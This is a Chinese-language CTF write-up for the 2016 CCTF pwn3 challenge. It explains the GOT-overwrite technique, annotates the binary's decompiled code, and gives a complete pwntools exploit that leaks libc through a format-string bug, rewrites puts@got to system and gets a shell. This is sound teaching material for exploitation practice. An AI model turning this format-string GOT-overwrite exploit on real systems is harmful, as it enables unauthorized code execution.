1:原理
在目前的 C 程序中,libc 中的函数都是通过 GOT 表来跳转的。此外,在没有开启 RELRO(即 partial RELRO)前提下,每个 libc 的函数对应的 GOT 表项是可以被修改的。因此,我们可以修改某个 libc 函数的 GOT 表内容为另一个 libc 函数的地址来实现对程序的控制。比如说我们可以修改 printf 的 got 表项内容为 system 函数的地址。从而,程序在执行 printf 的时候实际执行的是 system 函数。
假设我们将函数 A 的地址覆盖为函数 B 的地址,那么这一攻击技巧可以分为以下步骤:
确定函数 A 的 GOT 表地址
这一步我们利用的函数 A 一般在程序中已有,所以可以采用简单的寻找地址的方法来找。IDA或是ELF等确定函数 B 的内存地址
这一步通常来说,需要我们自己想办法来泄露对应函数 B 的地址。将函数 B 的内存地址写入到函数 A 的 GOT 表地址处
这一步一般来说需要我们利用函数的漏洞来进行触发。一般利用方法有如下3种
写入函数:write 函数。
ROP:
pop eax; ret; # printf@got -> eax
pop ebx; ret; # (addr_offset = system_addr - printf_addr) -> ebx 函数间的偏移量
add [eax] ebx; ret; # [printf@got] = [printf@got] + addr_offset
格式化字符串任意地址写
2:例子2016 CCTF – pwn3
checksec:
hunter@hunter:~/PWN/wiki/formal$ checksec pwn3
[*] '/home/hunter/PWN/wiki/formal/pwn3'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled #只开了NX
PIE: No PIE (0x8048000)
IDA:
ask_username(&s1)和ask_password(&s1)函数可以很容易得出:要输入rxraclhm。
get_command()函数,就是输入get,put,dir然后会进入下面相应的函数,如果输入其他的直接退出程序
接下来隆重介绍以下函数:
put_file()函数
_DWORD *put_file()
{
_DWORD *v0; // ST1C_4 #v0是一个指针,其大小为DWORD4个字节
_DWORD *result; // eax
v0 = malloc(244u); #malloc函数开辟一个大小为244的堆区
printf("please enter the name of the file you want to upload:");
get_input((int)v0, 40, 1); #get_input函数别有乾坤
printf("then, enter the content:");
get_input((int)(v0 + 10), 200, 1);
v0[60] = file_head; #file_head是一个全局变量, BSS段
result = v0;
file_head = (int)v0; #最后堆区的地址给到了file_head Bss段全局变量
return result;
}
get_input函数 将堆区的地址v0传入即a1
// a1是地址 a2是大小 a3是1
signed int __cdecl get_input(int a1, int a2, int a3)
{
signed int result; // eax
_BYTE *v4; // [esp+18h] [ebp-10h]
int v5; // [esp+1Ch] [ebp-Ch]
v5 = 0;
while ( 1 )
{
v4 = (_BYTE *)(v5 + a1);
result = fread((void *)(v5 + a1), 1u, 1u, stdin); #往a1里面读入字符,一次读一个whle循环
if ( result <= 0 )
break;
if ( *v4 == 10 && a3 ) *v4应该不会等于10,所以我觉都这个if语句完全不会执行,直接执行else
{
if ( v5 )
{
result = v5 + a1;
*v4 = 0;
return result;
}
}
else
{
result = ++v5;
if ( v5 >= a2 ) #控制输入量不会大于a2
return result;
}
}
return result;
}
所以get_input大致作用是:标准输入中读入字符串,写入堆区v0。第一个get_input最多40个字节(字符),第二个从堆区(v0 + 10)开始因为v0是大小为4字节的指针,所以加10将
刚好从40个字节后开始填入字符串,最多读入200个:
show_dir函数:
int show_dir()
{
int v0; // eax
char s[1024]; // [esp+14h] [ebp-414h]
int i; // [esp+414h] [ebp-14h]
int j; // [esp+418h] [ebp-10h]
int v5; // [esp+41Ch] [ebp-Ch]
v5 = 0;
j = 0;
bzero(s, 1024u); // 将s数组置零
for ( i = file_head; i; i = *(_DWORD *)(i + 240) ) #首先i被赋值file_head即堆区地址,发现中间i并没有判断,后面的i再次进行赋值
{
for ( j = 0; *(_BYTE *)(i + j); ++j ) #中间也没有明显的进行判断
{
v0 = v5++;
s[v0] = *(_BYTE *)(i + j); #对s数组逐个赋值,从堆区地址开始
}
}
return puts(s);
}
第一个for循环:i先被赋予堆区地址,中间的表达式(即i)不为0,执行一次内部语句后,i又被堆区240个字节开始赋值,靠后的应该这个区域值为0,所以第一个for应该只会执行一次
第二个for循环:中间是直接对(i + j)地址解引用,即(i + j)地址上的字节,显然解引用到值为0的地址才会停。
最后是调用puts函数其参数就是经过赋值后的s。
那么如果我file_name很短,那就只会将fiel_name赋给s数组,然后输出s(什么名字40个字符这么长??)。那么基本就可以确定puts的参数就是s即file_name
get_file函数:
int get_file()
{
char dest; // [esp+1Ch] [ebp-FCh]
char s1; // [esp+E4h] [ebp-34h]
char *i; // [esp+10Ch] [ebp-Ch]
printf("enter the file name you want to get:");
__isoc99_scanf("%40s", &s1); #显然这里不会存在溢出
if ( !strncmp(&s1, "flag", 4u) )
puts("too young, too simple");
for ( i = (char *)file_head; i; i = (char *)*((_DWORD *)i + 60) ) #第一个是i被赋予堆区地址,第二个i显然不会为0,第三个将i转换为4字节指针后加60那其实
又是堆区240字节后的区域,将使i= 0 ,所以这个for也只执行一次
{
if ( !strcmp(i, &s1) ) // 堆区开头是file_name 所以输入对应的file_name到s1即可进入if
{
strcpy(&dest, i + 40); // i+40地址处的是我们的content
return printf(&dest);
}
}
return printf(&dest);
}
所以整个函数是你输入对应的file_name就输出对应的tontent(结合程序本身,伪码有些不一定准确),显然这个printf是存在格式化字符串漏洞的,但是它的参数是i+40即tontent的内容。
思路:
首先可以用这个漏洞泄露函数真实地址,从而得到libc版本。又ASLR没开,能漏洞改写函数got表上的地址,改成system地址。因为我们不能控制程序流程,只能靠跳转实现system(无法在栈上构造数据)。system函数只有一个参数,纵观程序中所有函数只有puts函数如此相像,我们想办法把puts的got表上的地址改为system地址,然后它的参数s内容搞成/bin/sh字符串即可。
确定格式化字符串参数偏移
利用 __libc_start_main_got 获取 put 函数地址,进而获取对应的 libc.so 的版本,进而获取对应 system 函数地址。
参数s就是我们的file_name
修改 puts@got 的内容为 system 的地址。
当程序再次执行 puts 函数的时候,其实执行的是 system 函数。
EXP:
注意printf漏洞是在get_file函数中实现的,所以一定要记得调用get选项
from pwn import*
from LibcSearcher import*
context.log_level = 'debug'
elf = ELF('pwn3')
puts_got = elf.got['puts']
main_start_got = elf.got['__libc_start_main']
print hex(main_start_got)
print hex(puts_got)
sh = process('./pwn3')
print sh.recv()
sh.sendline('rxraclhm') #密码绕过
print sh.recv()
sh.sendline('put') #调用put函数
print sh.recv()
name = '/sh' #名字/sh
sh.sendline(name)
content = '%8$s' + p32(main_start_got) #准备__libc_start_main地址的泄露
sh.sendline(content)
print sh.recv()
sh.sendline('get') #调用get函数利用漏洞
print sh.recv()
#gdb.attach(sh)
sh.sendline('/sh')
#print u32(sh.recv(4))
main_start_addr = u32(sh.recv(4)) #得到地址
libc = LibcSearcher('__libc_start_main',main_start_addr) #得到libc版本
libc_addr = main_start_addr - libc.dump('__libc_start_main')
print hex(libc_addr)
system_addr = libc_addr + libc.dump('system')
binsh_addr = libc_addr + libc.dump('str_bin_sh')
print hex(system_addr)
print hex(binsh_addr)
sh.sendline('dir')
sh.recv()
sh.sendline('put') #调用put函数
print sh.recv()
sh.sendline('/bin') #名字/bin
payload = fmtstr_payload(7,{puts_got:system_addr}) #准备将system地址写入puts_got
print payload
#gdb.attach(sh)
sh.sendline(payload)
print sh.recv()
sh.sendline('get') #调用get函数利用漏洞
sh.recv()
sh.sendline('/bin')
print sh.recv()
sh.sendline('dir') #调用dir函数,此时s是/bin/sh 可通过调试得出
#sh.recv() 最后将跳转puts函数参数为/bin/sh但执行system函数,得到shell
sh.interactive()
结果:
000000d0 20 20 20 20 00 20 20 20 20 20 20 20 20 20 20 20 │ │· │ │ │
000000e0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 │ │ │ │ │
000000f0 20 20 20 20 20 20 00 61 61 61 28 a0 04 08 29 a0 │ │ ·a│aa(·│··)·│
00000100 04 08 2a a0 04 08 2b a0 04 08 66 74 70 3e │··*·│··+·│··ft│p>│
0000010e
\x98 \x04 \x00 \x00aa(\xa0\x04)\xa0\x04*\xa0\x04+\xa0\x04ftp>
[DEBUG] Sent 0x4 bytes:
'dir\n'
[*] Switching to interactive mode
$ whoami
[DEBUG] Sent 0x7 bytes:
'whoami\n'
[DEBUG] Received 0x7 bytes:
'hunter\n'
hunter
$